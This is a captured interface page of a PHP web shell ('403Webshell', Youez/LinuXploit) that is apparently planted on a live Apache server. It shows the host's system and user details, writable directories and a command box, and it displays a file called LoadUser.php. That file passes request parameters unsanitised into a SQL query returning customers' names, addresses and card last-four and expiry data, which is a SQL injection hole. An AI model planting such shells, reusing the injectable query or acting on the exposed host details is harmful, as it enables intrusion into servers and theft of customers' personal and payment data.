403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/pcisecureform.com/lcapi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/pcisecureform.com/lcapi/LoadUser.php
<?php
require_once($_SERVER['DOCUMENT_ROOT'].'/php/db_config_lc_user.php');
require_once("{$_SERVER["DOCUMENT_ROOT"]}/lcapi/inc/Logger.php");

if(empty($_REQUEST['site']) || empty($_REQUEST['email'])) {
	SendError(__FILE__." at line ".__LINE__, "No site or email passed.");
	die("No site or email passed."); 
}
$site = $_REQUEST['site'];
$email = $_REQUEST['email'];

if(!$db = connect_lc2user_new('lc2'.$site.'_lc')) {
	SendError(__FILE__." at line ".__LINE__, "Failure to connect to database (lc2".$site."_lc). MySQL: ".$db->error());
	die("Failure: Unable to connect to database.");  
}

$results = $db->get_results("SELECT id,first,last,email,phone_1 as phone,address1 as address,city,state,zip,country,cc_last_four,cc_exp_month,cc_exp_year FROM lc_reseller WHERE email='$email' LIMIT 1");
if(empty($results)) {
	SendError(__FILE__." at line ".__LINE__, "No email ($email) in $site database");
	die("No email ($email) in $site database"); 
}
die(json_encode(get_object_vars($results[0])));
?>

Youez - 2016 - github.com/yon3zu
LinuXploit